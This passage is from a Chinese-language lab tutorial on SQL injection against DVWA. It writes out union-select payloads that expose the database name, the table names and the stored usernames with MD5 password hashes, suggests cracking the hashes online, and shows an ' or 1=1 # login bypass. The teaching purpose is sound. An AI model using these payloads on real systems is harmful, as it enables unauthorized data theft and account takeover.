实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'
通过返回信息,我们成功获取到:
- 当前网站使用数据库为
dvwa
- 当前执行查询用户名为
root@localhost
接下来我们尝试获取dvwa
数据库中的表名!
在输入框中输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
进行查询!
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#'
通过上图返回信息,我们再获取到:
dvwa
数据库有两个数据表,分别是guestbook
和users
可能有些同学还不够满足,接下来尝试获取重量级的用户名、密码!
根据经验我们可以大胆猜测users
表的字段为 user
和 password
,所以输入:1' union select user,password from users#
进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#'
可以看到成功爆出了用户名、密码,密码通过猜测采用 md5 进行加密,可以直接到www.cmd5.com
网站进行解密。
2.2、SQL 注入示例二:验证绕过
接下来我们再试试另一个利用 SQL 漏洞绕过登录验证的示例!
这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名 123 和密码 123 登录!
好像不太行,登录被拦截,从错误页面中我们无法获取到任何信息!
点击view source
查看源代码 ,其中的 SQL 查询代码为:
select * from users where username='123' and password='123'
按照上面示例的思路,我们尝试在用户名中输入 123' or 1=1 #
, 密码同样输入 123' or 1=1 #
。
恭喜你,登录成功!